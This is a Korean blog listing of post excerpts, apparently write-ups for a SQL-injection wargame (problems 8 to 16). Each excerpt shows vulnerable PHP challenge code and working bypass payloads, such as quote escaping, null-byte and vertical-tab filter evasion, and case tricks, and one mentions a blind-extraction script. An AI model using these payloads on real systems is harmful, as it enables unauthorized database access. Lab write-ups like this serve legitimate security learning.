본문 바로가기

웹 해킹/lord of SQL16

los 16번-답 참고! query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("succubus"); highlight_file(__FILE__); ?>이전 문제는 ereg로 ' 을 확인해서 %00으로 우회할 수 있었지만 이번에는 preg_match로 확인을 한다! '이 붙는 것을 \'이 되게끔 만들어서 문자열의 '으로 인식되게 한다! ?id=\&pw=or 1=1 --%20query : select id from prob_succubus where id='\' and pw='or 1=1 -- ' 2018. 6. 29.
los 15번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("zombie_assassin"); highlight_file(__FILE__); ?>id와 pw 모두\\ prob _ . () 가 들어가면 안된다ereg->그리고 ' 이 들어가면 안된다! ereg와 eregi 함수를 우회할 수 있는 방법이 있다.ereg, eregi는 %00까지만 체크하므로 우회가능! ?id=admin&pw=%00'||id='admin query : select id from prob_zombie_assassin where id='admin' and pw=''||id='admin' 2018. 6. 29.
los 14번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("assassin"); highlight_file(__FILE__); ?>pw like 가 있으므로 like의 %를 잘 이용해주면 된다!스크립트를 이용했다. guest와 admin이 앞글자 2글자가 같아서 처음에는 그냥 Hello guest가 나왔는데세번째 글자까지 찾았을때는 2와 d로 나뉘었다! import requests def main(): cookie={"__cfduid":"d282347679afbe7ce118657ef96dd67.. 2018. 6. 28.
los 13번 1) exit("No Hack ~_~"); if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; echo "query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result[1234]) solve("giant"); highlight_file(__FILE__); ?>공백 우회 방법%0a %0d %09 이외에도%0b %0c 가 있다. ?shit=%0b 2018. 6. 28.
los 12번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); highlight_file(__FILE__); ?>pw에는 ' 필터링 되어있다. .. 2018. 6. 28.
los 11번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); highlight_file(__FILE__); ?>pw에 ' 가 들어가.. 2018. 6. 28.
los 10번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); highlight_file(__FILE__); ?>or and substr( =을 필터링.. 2018. 6. 28.
los 9번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?>뒤에 and 1=0이 박혀있다! ?pw=1' || id='admin' || id='guest' and 1=0 query : select id from prob_skeleton where id='guest' and pw='1' || id='admin' || id='guest' and 1=0 질문 id='guest' and 1=0을 어떻게 해석할 것인가? 2018. 6. 28.
los 8번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("troll"); highlight_file(__FILE__); ?>이제 ereg함수가 나오기 시작했다!ereg함수도 문자열 필터링하는 함수이다! 대소문자를 구분한다!admin이 들어가면 안된다!하지만 admin으로 들어가야 한다. Admin으로 주면 ereg함수는 대소문자를 구분하니까 ereg에서 필터링되지 않는다! ?id=Admin mysql은 기본적으로 대소문자를 구별하지 않는다! 2018. 6. 28.